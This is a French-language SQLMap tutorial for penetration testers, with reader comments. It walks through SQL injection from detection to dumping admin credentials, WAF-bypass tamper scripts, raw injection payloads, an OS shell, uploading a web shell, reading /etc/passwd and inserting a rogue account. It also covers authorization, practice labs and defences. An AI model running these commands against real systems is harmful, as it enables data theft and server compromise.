SQLMap : Guide Complet d'Injection SQL

SQLMap : Guide Complet d'Injection SQL

Introduction à SQLMap

SQLMap est l'outil open-source le plus puissant et le plus complet pour automatiser la détection et l'exploitation des vulnérabilités d'injection SQL. Développé en Python, il dispose d'un moteur de détection extrêmement performant et supporte une large gamme de systèmes de gestion de bases de données.

Pourquoi SQLMap ?

Avantages :

  1. Automatisation complète - Détection et exploitation automatiques
  2. Support multi-SGBD - MySQL, PostgreSQL, Oracle, MSSQL, SQLite, etc.
  3. Techniques avancées - Injection aveugle, temporelle, UNION-based
  4. Contournement WAF - Scripts de tamper intégrés
  5. Extraction de données - Bases, tables, colonnes, données
  6. Shell OS - Possibilité d'obtenir un shell sur le serveur

Installation Complète

Sur Kali Linux (pré-installé) :

# Vérifier la version
sqlmap --version

# Mettre à jour
cd /usr/share/sqlmap
sudo git pull

Installation manuelle :

# Cloner le dépôt
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev

# Lancer SQLMap
python sqlmap.py --version

# Créer un alias (optionnel)
echo "alias sqlmap='python ~/sqlmap-dev/sqlmap.py'" >> ~/.bashrc
source ~/.bashrc

Utilisation de Base

1. Test d'URL Simple

Tester un paramètre GET pour l'injection SQL :

# Syntaxe de base
sqlmap -u "http://cible.com/page.php?id=1"

# Avec mode verbeux
sqlmap -u "http://cible.com/page.php?id=1" -v 3

# Mode batch (pas d'interaction)
sqlmap -u "http://cible.com/page.php?id=1" --batch

# Spécifier le paramètre à tester
sqlmap -u "http://cible.com/page.php?id=1&cat=2" -p id

Exemple de sortie :

[INFO] testing connection to the target URL
[INFO] checking if the target is protected by some kind of WAF/IPS
[INFO] testing if the target URL content is stable
[INFO] target URL content is stable
[INFO] testing if GET parameter 'id' is dynamic
[INFO] GET parameter 'id' appears to be dynamic
[INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable
[INFO] testing for SQL injection on GET parameter 'id'
[INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable

2. Énumération des Bases de Données

Une fois l'injection confirmée, lister toutes les bases :

# Lister les bases de données
sqlmap -u "http://cible.com/page.php?id=1" --dbs

# Avec informations supplémentaires
sqlmap -u "http://cible.com/page.php?id=1" --dbs --banner --current-user --current-db

Résultat typique :

available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] shop_db
[*] test

3. Énumération des Tables

Lister les tables d'une base spécifique :

# Tables d'une base
sqlmap -u "http://cible.com/page.php?id=1" -D shop_db --tables

# Toutes les tables de toutes les bases
sqlmap -u "http://cible.com/page.php?id=1" --tables

Exemple de sortie :

Database: shop_db
[4 tables]
+----------+
| users    |
| products |
| orders   |
| payments |
+----------+

4. Énumération des Colonnes

Lister les colonnes d'une table :

# Colonnes d'une table
sqlmap -u "http://cible.com/page.php?id=1" -D shop_db -T users --columns

Résultat :

Database: shop_db
Table: users
[5 columns]
+----------+--------------+
| Column   | Type         |
+----------+--------------+
| id       | int(11)      |
| username | varchar(50)  |
| password | varchar(255) |
| email    | varchar(100) |
| role     | varchar(20)  |
+----------+--------------+

5. Extraction de Données

Extraire les données d'une table :

# Dump complet d'une table
sqlmap -u "http://cible.com/page.php?id=1" -D shop_db -T users --dump

# Dump de colonnes spécifiques
sqlmap -u "http://cible.com/page.php?id=1" -D shop_db -T users -C username,password,email --dump

# Dump avec condition WHERE
sqlmap -u "http://cible.com/page.php?id=1" -D shop_db -T users --where="role='admin'" --dump

Techniques Avancées

Test de Requêtes POST

Tester les paramètres POST :

# Méthode 1 : Avec --data
sqlmap -u "http://cible.com/login.php" --data="username=admin&password=pass"

# Méthode 2 : Depuis un fichier de requête
# Sauvegarder la requête POST dans request.txt
sqlmap -r request.txt

# Méthode 3 : Spécifier le paramètre à tester
sqlmap -u "http://cible.com/login.php" --data="username=admin&password=pass" -p username

Exemple de fichier request.txt :

POST /login.php HTTP/1.1
Host: cible.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 35

username=admin&password=test123

Injection via Cookies

Tester les cookies pour l'injection SQL :

# Test de cookie
sqlmap -u "http://cible.com/page.php" --cookie="PHPSESSID=abcd1234; user_id=1" -p user_id

# Avec level élevé (teste plus de vecteurs)
sqlmap -u "http://cible.com/page.php" --cookie="session=xyz123" --level=3 --risk=2

Injection via Headers HTTP

Tester les en-têtes HTTP :

# Test User-Agent
sqlmap -u "http://cible.com/page.php" --headers="User-Agent: Mozilla*" --level=3

# Test Referer
sqlmap -u "http://cible.com/page.php" --referer="http://evil.com" --level=3

# Test X-Forwarded-For
sqlmap -u "http://cible.com/page.php" --headers="X-Forwarded-For: 1.2.3.4*" --level=5

Contournement de WAF

Utiliser des scripts de tamper pour contourner les pare-feu applicatifs :

# Tamper simple
sqlmap -u "http://cible.com/page.php?id=1" --tamper=space2comment

# Tampers multiples
sqlmap -u "http://cible.com/page.php?id=1" --tamper=space2comment,between,randomcase

# Tous les tampers disponibles
sqlmap --list-tampers

Scripts de tamper courants :

  1. space2comment - Remplace les espaces par des commentaires SQL
    sql SELECT * FROM users WHERE id=1 AND 1=1 # Devient SELECT/**/FROM/**/users/**/WHERE/**/id=1/**/AND/**/1=1

  2. between - Remplace > par NOT BETWEEN 0 AND
    sql id > 1 # Devient id NOT BETWEEN 0 AND 1

  3. charencode - Encode tous les caractères en URL
    sql ' OR '1'='1 # Devient %27%20%4F%52%20%27%31%27%3D%27%31

  4. randomcase - Randomise la casse
    sql SELECT * FROM users # Devient sElEcT * FrOm UsErS

  5. base64encode - Encode en Base64
    sql admin' OR '1'='1 # Devient YWRtaW4nIE9SICcxJz0nMQ==

Scénarios Réels

Scénario 1 : Exploitation d'un Site E-commerce

Contexte : Page produit avec paramètre ID vulnérable

# Étape 1 : Détecter la vulnérabilité
sqlmap -u "http://boutique.cible.com/produit.php?id=5" --batch --threads=5

# Étape 2 : Identifier le SGBD
sqlmap -u "http://boutique.cible.com/produit.php?id=5" --banner --current-db --current-user

# Étape 3 : Énumérer les bases de données
sqlmap -u "http://boutique.cible.com/produit.php?id=5" --dbs

# Étape 4 : Lister les tables de la base shop_db
sqlmap -u "http://boutique.cible.com/produit.php?id=5" -D shop_db --tables

# Étape 5 : Examiner la structure de la table users
sqlmap -u "http://boutique.cible.com/produit.php?id=5" -D shop_db -T users --columns

# Étape 6 : Extraire les identifiants admin
sqlmap -u "http://boutique.cible.com/produit.php?id=5" -D shop_db -T users -C username,password,email --where="role='admin'" --dump

# Étape 7 : Tenter d'obtenir un shell OS
sqlmap -u "http://boutique.cible.com/produit.php?id=5" --os-shell

Scénario 2 : Contournement de WAF ModSecurity

Contexte : Site protégé par ModSecurity

# Étape 1 : Détection du WAF
sqlmap -u "http://cible-protegee.com/page.php?id=1" --identify-waf

# Étape 2 : Test avec tampers
sqlmap -u "http://cible-protegee.com/page.php?id=1" \
  --tamper=space2comment,between,randomcase \
  --random-agent \
  --delay=2 \
  --batch

# Étape 3 : Si échec, essayer d'autres tampers
sqlmap -u "http://cible-protegee.com/page.php?id=1" \
  --tamper=charencode,base64encode \
  --hpp \
  --random-agent

# Étape 4 : Technique avancée - Fragmentation
sqlmap -u "http://cible-protegee.com/page.php?id=1" \
  --tamper=space2comment \
  --chunked \
  --delay=3

Techniques d'Injection Spécifiques

Injection Booléenne Aveugle

# Forcer l'injection booléenne
sqlmap -u "http://cible.com/page.php?id=1" --technique=B

# Avec optimisation
sqlmap -u "http://cible.com/page.php?id=1" --technique=B --threads=10 --batch

Payloads utilisés :

-- Test TRUE
id=1 AND 1=1

-- Test FALSE  
id=1 AND 1=2

-- Extraction caractère par caractère
id=1 AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'

Injection Temporelle Aveugle

# Forcer l'injection temporelle
sqlmap -u "http://cible.com/page.php?id=1" --technique=T --time-sec=5

Payloads utilisés :

-- MySQL
id=1 AND SLEEP(5)
id=1 AND IF(1=1,SLEEP(5),0)

-- PostgreSQL
id=1; SELECT pg_sleep(5)

-- MSSQL
id=1; WAITFOR DELAY '00:00:05'

-- Oracle
id=1 AND DBMS_LOCK.SLEEP(5)

Injection UNION-based

# Forcer UNION
sqlmap -u "http://cible.com/page.php?id=1" --technique=U

# Spécifier le nombre de colonnes
sqlmap -u "http://cible.com/page.php?id=1" --union-cols=5

Payloads utilisés :

-- Déterminer le nombre de colonnes
id=1 UNION SELECT NULL--
id=1 UNION SELECT NULL,NULL--
id=1 UNION SELECT NULL,NULL,NULL--

-- Extraire des données
id=1 UNION SELECT username,password,email FROM users--
id=1 UNION SELECT NULL,version(),database()--

Extraction Avancée

Obtenir un Shell OS

# Shell interactif
sqlmap -u "http://cible.com/page.php?id=1" --os-shell

# Exécuter une commande
sqlmap -u "http://cible.com/page.php?id=1" --os-cmd="whoami"

# Upload de fichier
sqlmap -u "http://cible.com/page.php?id=1" --file-write="/local/shell.php" --file-dest="/var/www/html/shell.php"

Lecture de Fichiers

# Lire /etc/passwd
sqlmap -u "http://cible.com/page.php?id=1" --file-read="/etc/passwd"

# Lire la configuration
sqlmap -u "http://cible.com/page.php?id=1" --file-read="/var/www/html/config.php"

Exécution de Requêtes SQL Personnalisées

# Requête SELECT
sqlmap -u "http://cible.com/page.php?id=1" --sql-query="SELECT user,password FROM mysql.user"

# Requête INSERT (attention !)
sqlmap -u "http://cible.com/page.php?id=1" --sql-query="INSERT INTO users (username,password) VALUES ('hacker','pwned')"

Options de Performance

# Threads multiples (max 10 recommandé)
sqlmap -u "http://cible.com/page.php?id=1" --threads=5

# Optimisation
sqlmap -u "http://cible.com/page.php?id=1" --threads=5 --batch --flush-session

# Null connection (plus rapide)
sqlmap -u "http://cible.com/page.php?id=1" --null-connection

# Keep-alive
sqlmap -u "http://cible.com/page.php?id=1" --keep-alive

Sauvegarde et Reprise

# Sauvegarder la session
sqlmap -u "http://cible.com/page.php?id=1" --batch --flush-session

# Reprendre une session
sqlmap -u "http://cible.com/page.php?id=1" --batch

# Spécifier un fichier de session
sqlmap -u "http://cible.com/page.php?id=1" -s session.sqlite

# Exporter les résultats
sqlmap -u "http://cible.com/page.php?id=1" --dump --dump-format=CSV

Bonnes Pratiques

Avant de commencer :

  1. Autorisation écrite - Toujours obtenir une autorisation explicite
  2. Environnement de test - Tester d'abord sur DVWA, bWAPP
  3. Documentation - Noter toutes les commandes et résultats
  4. Sauvegarde - Utiliser --batch et --flush-session

Pendant le test :

  1. Commencer doucement - Utiliser --threads=1 au début
  2. Mode verbeux - Utiliser -v pour comprendre ce qui se passe
  3. Tampers progressifs - Commencer sans tamper, puis ajouter si nécessaire
  4. Surveiller les logs - Vérifier que le site ne crashe pas

Après le test :

  1. Rapport détaillé - Documenter toutes les vulnérabilités trouvées
  2. Nettoyage - Supprimer les fichiers uploadés si applicable
  3. Recommandations - Proposer des correctifs (requêtes préparées, WAF, etc.)

Défense contre SQLMap

Côté développeur :

// ❌ Code vulnérable
$id = $_GET['id'];
$query = "SELECT * FROM users WHERE id = $id";

// ✅ Code sécurisé - Requêtes préparées
$id = $_GET['id'];
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]);

Côté infrastructure :

  1. WAF - ModSecurity, Cloudflare WAF
  2. IDS/IPS - Snort, Suricata avec règles SQL injection
  3. Rate limiting - Limiter les requêtes par IP
  4. Monitoring - Alertes sur patterns SQLMap
  5. Principe du moindre privilège - Compte DB avec droits minimaux

Ressources

Documentation :
- Site officiel : sqlmap.org
- GitHub : github.com/sqlmapproject/sqlmap
- Wiki : github.com/sqlmapproject/sqlmap/wiki

Environnements de pratique :
- DVWA (Damn Vulnerable Web Application)
- bWAPP (buggy Web Application)
- OWASP WebGoat
- HackTheBox - Machines web
- TryHackMe - Rooms SQL injection

Cheat Sheet :

# Scan basique
sqlmap -u "URL" --batch

# Scan complet
sqlmap -u "URL" --batch --threads=5 --level=5 --risk=3

# Dump base complète
sqlmap -u "URL" -D database --dump-all

# Shell OS
sqlmap -u "URL" --os-shell

# Contournement WAF
sqlmap -u "URL" --tamper=space2comment,between --random-agent

Conclusion

SQLMap est l'outil le plus puissant pour l'exploitation d'injections SQL. Sa maîtrise est essentielle pour tout pentester. Pratiquez régulièrement sur des environnements légaux et gardez toujours à l'esprit l'aspect éthique et légal de vos tests.

Points clés à retenir :

  1. ✅ Toujours obtenir une autorisation écrite
  2. ✅ Commencer par des tests simples
  3. ✅ Utiliser --batch pour l'automatisation
  4. ✅ Documenter tous les résultats
  5. ✅ Proposer des correctifs après le test

Rappel légal : L'utilisation de SQLMap sans autorisation est illégale et punissable par la loi. N'utilisez cet outil que dans un cadre légal et éthique.

#Kali Linux #Python #Injection SQL

Commentaires (3)

Connectez-vous pour rejoindre la discussion.
skiddie skiddie
06 Dec 2025
Excellent tutoriel! M'a aidé à réussir mon OSCP.
l33thax0r l33thax0r
06 Dec 2025
Les exemples sont très clairs. Merci du partage!
Julien Julien
07 Dec 2025
Test